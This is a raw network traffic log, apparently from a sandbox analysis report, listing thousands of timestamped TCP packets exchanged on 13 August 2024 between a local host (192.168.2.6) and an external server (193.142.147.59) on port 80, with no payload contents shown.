Aug 13, 2024 10:21:16.295298100 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295311928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295325041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295334101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295346975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295355082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295375109 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295413017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295434952 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295598984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295614004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295625925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295638084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295659065 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295669079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295680046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295686007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295686960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295691013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295701981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295711994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295721054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295722961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295733929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295746088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295746088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295777082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295790911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.296448946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296462059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296473980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296492100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296494961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.296504021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296514034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296521902 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.296525955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296536922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296547890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296547890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.296559095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296564102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.296571016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296581984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296591997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296597004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.296602964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296607018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.296613932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296623945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.296626091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296638012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.296648979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.296664953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.296693087 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297216892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297230005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297239065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297251940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297261000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297262907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297276020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297277927 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297302961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297317028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297354937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297367096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297378063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297386885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297389984 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297395945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297405958 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297406912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297416925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297427893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297435045 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297446966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297457933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297460079 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297471046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297477961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297481060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297491074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297501087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297507048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297509909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297519922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297532082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.297534943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297544956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297559977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.297589064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.298461914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298476934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298485994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298496008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298506021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298516035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298518896 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.298526049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298536062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298547983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298556089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298557043 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.298566103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298576117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298578978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.298588037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298595905 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.298598051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298608065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298619986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298621893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.298629999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.298649073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.298670053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.299297094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299310923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299320936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299330950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299340010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299345970 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.299350023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299359083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299366951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.299370050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299381018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299391031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299400091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299411058 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.299411058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299421072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299428940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.299432039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299442053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299448967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.299455881 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.299469948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.299488068 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.299510956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.383454084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383470058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383481979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383516073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.383538961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.383713007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383725882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383737087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383747101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383759022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383763075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.383783102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.383794069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.383825064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383836985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383847952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383857965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383862972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.383869886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383876085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.383882046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.383908987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.383925915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.384051085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.384063005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.384074926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.384088039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.384100914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.384118080 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.384181023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.384191990 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.384205103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.384228945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.384253025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.384342909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.384355068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.384391069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.385207891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385220051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385230064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385255098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.385288954 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.385361910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385373116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385385036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385396957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385402918 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.385413885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.385437965 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.385651112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385662079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385672092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385696888 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.385710955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.385804892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385814905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385821104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385831118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385840893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385853052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385862112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.385864973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385875940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.385886908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.385901928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.385931015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386214018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386234045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386245966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386250973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386255980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386264086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386266947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386277914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386282921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386287928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386298895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386303902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386315107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386326075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386326075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386341095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386367083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386863947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386874914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386884928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386894941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386905909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386908054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386917114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386925936 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386928082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386939049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386950016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386955976 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386960983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386972904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386981964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.386984110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.386992931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387003899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387005091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.387015104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387022018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.387026072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387038946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387048960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.387074947 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.387849092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387861967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387871981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387887001 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387897015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387901068 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.387907028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387917995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387928963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387937069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.387939930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387950897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387953997 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.387962103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387972116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387974024 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.387984037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.387994051 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.387995005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388011932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.388036013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.388580084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388591051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388602018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388616085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388628006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388628960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.388638973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388648987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388655901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.388659954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388669968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388676882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.388679981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388689995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388700008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388700962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.388712883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388724089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388731003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.388735056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388746977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388755083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.388757944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.388777018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.388787985 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.389348984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389362097 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389373064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389384031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389394999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389395952 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.389406919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389416933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389422894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.389427900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389437914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389441013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.389450073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389455080 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.389461040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389472961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.389473915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.389497042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.389523029 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.471352100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471369028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471390009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471401930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471405983 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.471415043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471422911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.471426964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471440077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.471440077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471484900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.471515894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471554041 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.471584082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471596003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471606970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471621990 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.471642017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.471818924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.471832037 CEST	80	49711	193.142.147.59	192.168.2.6
